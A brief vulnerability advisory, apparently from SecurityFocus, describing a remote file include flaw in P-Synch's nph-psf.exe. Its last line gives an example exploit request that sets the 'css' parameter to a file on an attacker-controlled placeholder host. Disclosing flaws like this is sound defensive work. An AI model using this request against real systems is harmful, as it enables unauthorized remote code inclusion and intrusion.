7 lines
No EOL
486 B
Text
7 lines
No EOL
486 B
Text
source: https://www.securityfocus.com/bid/7747/info
|
|
|
|
A remote file include vulnerability has been reported for P-Synch. Due to insufficient sanitization of some user-supplied URI variables, it is possible for a remote attacker to include a malicious file in a URL.
|
|
|
|
An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for a specific URI parameter.
|
|
|
|
https://path/to/psynch/nph-psf.exe?css=http://somesite/file |